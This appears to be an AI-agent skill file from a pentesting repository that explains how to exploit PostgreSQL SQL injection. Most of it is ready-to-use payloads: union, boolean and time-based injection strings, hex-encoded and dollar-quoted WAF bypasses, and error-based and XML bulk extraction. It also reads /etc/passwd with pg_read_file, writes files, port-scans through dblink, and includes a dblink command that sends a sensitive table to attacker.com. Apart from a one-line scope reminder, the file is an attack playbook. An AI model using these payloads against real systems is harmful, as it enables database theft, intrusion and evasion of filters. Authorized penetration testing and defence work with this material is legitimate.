Hacktricks-skills postgresql-injection
How to test for and exploit PostgreSQL SQL injection vulnerabilities. Use this skill whenever the user mentions PostgreSQL injection, SQL injection against PostgreSQL databases, WAF bypass for PostgreSQL, or needs to enumerate/exfiltrate data from PostgreSQL through injection. This includes testing for stacked queries, using dblink for network interaction, XML-based data extraction, and bypassing filters with hex encoding or string functions.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/postgresql-injection/postgresql-injection/SKILL.MDPostgreSQL Injection Testing
A comprehensive guide for testing PostgreSQL SQL injection vulnerabilities.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection vulnerability and need to determine if it's PostgreSQL
- You need to enumerate database structure from a PostgreSQL injection point
- You want to exfiltrate data through PostgreSQL injection
- You need to bypass WAFs or input filters targeting PostgreSQL
- You're exploring privilege escalation paths from PostgreSQL
- You need to perform network operations through PostgreSQL (dblink)
Quick Start
- Confirm PostgreSQL - Use PostgreSQL-specific syntax to verify the database type
- Enumerate - Extract database schema, tables, and columns
- Exfiltrate - Pull sensitive data using appropriate techniques
- Escalate - Explore privilege escalation and network access options
Confirming PostgreSQL
Test with PostgreSQL-specific functions:
-- Check PostgreSQL version SELECT version(); -- Check if superuser SELECT current_setting('is_superuser'); -- List databases SELECT current_database();
Data Enumeration
Get Table Names
-- Simple enumeration SELECT string_agg(table_name, ',') FROM information_schema.tables; -- With schema SELECT string_agg(schemaname || '.' || tablename, ',') FROM pg_tables;
Get Column Names
SELECT string_agg(column_name, ',') FROM information_schema.columns WHERE table_name = 'target_table';
WAF Bypass Techniques
Hex Encoding
Bypass filters by encoding queries as hex:
-- Convert query to hex SELECT encode('SELECT * FROM users', 'hex'); -- Execute hex-encoded query SELECT convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8'); -- Combined with query_to_xml SELECT query_to_xml(convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8'), true, true, '');
String Functions
Use PostgreSQL string functions to construct queries:
-- Character concatenation SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); -- Returns 'AWAE' -- Dollar quoting (bypass quote restrictions) SELECT $$SELECT * FROM users$$; SELECT $tag$SELECT * FROM users$tag$;
XML-Based Extraction
Extract large datasets in single queries:
-- Query to XML SELECT query_to_xml('SELECT * FROM users', true, true, ''); -- Database to XML (entire database) SELECT database_to_xml(true, true, '');
Stacked Queries
PostgreSQL supports stacked queries:
-- Basic stacked query id=1; SELECT pg_sleep(10);-- - -- Conditional time-based 1; SELECT CASE WHEN (SELECT current_setting('is_superuser'))='on' THEN pg_sleep(10) END;-- -
Network Operations (dblink)
The
dblink module enables network connections:
-- Connect to external PostgreSQL SELECT dblink('host=external_db port=5432 dbname=test user=user password=pass', 'SELECT 1'); -- Port scanning SELECT dblink('host=target port=22', 'SELECT 1'); -- Data exfiltration via dblink SELECT dblink('host=attacker.com port=5432 dbname=exfil user=x password=x', 'COPY (SELECT * FROM sensitive_data) TO ''/dev/tcp/attacker.com/5432''');
Privilege Escalation
Check Current Privileges
-- Current user SELECT current_user; -- Superuser status SELECT current_setting('is_superuser'); -- Role memberships SELECT * FROM pg_roles WHERE rolname = current_user;
File Operations
-- Read files (requires superuser) SELECT pg_read_file('/etc/passwd'); -- Write files (requires superuser) SELECT pg_write_file('malicious content', '/tmp/malicious.txt');
Error-Based Extraction
Extract data through error messages:
-- Cast to integer to trigger error with data SELECT CAST(string_agg(table_name, ',') AS INT) FROM information_schema.tables; -- Combined with query_to_xml SELECT query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'), true, true, '');
Best Practices
- Always confirm PostgreSQL before using PostgreSQL-specific techniques
- Start simple - basic enumeration before complex bypasses
- Document findings - track what works and what doesn't
- Respect scope - only test systems you have authorization for
- Use time-based techniques when blind injection is detected
- Combine techniques - hex encoding + XML + stacked queries for maximum bypass
Common Payloads
Blind Time-Based
-- Simple sleep '; SELECT pg_sleep(5);-- - -- Conditional sleep '; SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN pg_sleep(5) END;-- -
Boolean-Based
-- True condition ' OR '1'='1'-- - -- False condition ' OR '1'='2'-- - -- Check for table ' OR EXISTS(SELECT * FROM users)-- -
Union-Based
-- Find column count ' ORDER BY 1-- - ' ORDER BY 2-- - ' ORDER BY 3-- - -- Extract data ' UNION SELECT 1, username, password FROM users-- -